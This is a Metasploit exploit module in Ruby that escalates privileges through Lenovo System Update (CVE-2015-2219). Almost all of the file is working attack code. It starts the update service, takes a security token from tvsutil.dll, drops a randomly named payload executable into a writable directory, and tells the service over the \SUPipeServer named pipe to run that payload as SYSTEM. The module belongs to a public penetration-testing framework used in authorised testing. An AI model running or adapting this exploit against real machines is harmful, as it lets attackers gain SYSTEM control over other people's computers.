##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Exploit::Local
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
Rank = ExcellentRanking
def initialize(info={})
super(update_info(info, {
'Name' => 'Lenovo System Update Privilege Escalation',
'Description' => %q{
The named pipe, \SUPipeServer, can be accessed by normal users to interact with the
System update service. The service provides the possibility to execute arbitrary
commands as SYSTEM if a valid security token is provided. This token can be generated
by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the
System Update is stopped by default but can be started/stopped calling the Executable
ConfigService.exe.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Micahel Milvich', # vulnerability discovery, advisory
'Sofiane Talmat', # vulnerability discovery, advisory
'h0ng10' # Metasploit module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows', { } ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'References' =>
[
['OSVDB', '121522'],
['CVE', '2015-2219'],
['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']
],
'DisclosureDate' => 'Apr 12 2015',
'DefaultTarget' => 0
}))
register_options([
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),
OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),
], self.class)
end
def check
os = sysinfo['OS']
unless os =~ /windows/i
return Exploit::CheckCode::Safe
end
svc = service_info('SUService')
if svc && svc[:display] =~ /System Update/
vprint_good("Found service '#{svc[:display]}'")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def write_named_pipe(pipe, command)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
handle = r['return']
if handle == invalid_handle_value
fail_with(Failure::NoTarget, "#{pipe} named pipe not found")
else
vprint_good("Opended #{pipe}! Proceeding...")
end
begin
# First, write the string length as Int32 value
w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
if w['return'] == false
print_error('The was an error writing to pipe, check permissions')
return false
end
# Then we send the real command
w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
if w['return'] == false
print_error('The was an error writing to pipe, check permissions')
return false
end
ensure
session.railgun.kernel32.CloseHandle(handle)
end
true
end
def get_security_token(lenovo_directory)
unless client.railgun.get_dll('tvsutil')
client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl')
end
dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
dll_response['systeminfo'][0,40]
end
def config_service(lenovo_directory, option)
cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")
end
def exploit
if is_system?
fail_with(Failure::NoTarget, 'Session is already elevated')
end
su_directory = service_info('SUService')[:path][1..-16]
print_status('Starting service via ConfigService.exe')
config_service(su_directory, 'start')
print_status('Giving the service some time to start...')
Rex.sleep(datastore['Sleep'])
print_status("Getting security token...")
token = get_security_token(su_directory)
vprint_good("Security token is: #{token}")
if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?
temp_dir = get_env('TEMP')
else
temp_dir = datastore['WritableDir']
end
print_status("Using #{temp_dir} to drop the payload")
begin
cd(temp_dir)
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
end
print_status('Writing malicious exe to remote filesystem')
write_path = pwd
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
begin
write_file(exe_name, generate_payload_exe)
register_file_for_cleanup("#{write_path}\\#{exe_name}")
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
end
print_status('Sending Execute command to update service')
begin
write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::Unknown, 'Failed to write to pipe')
end
unless write_res
fail_with(Failure::Unknown, 'Failed to write to pipe')
end
print_status('Stopping service via ConfigService.exe')
config_service(su_directory, 'stop')
end
end
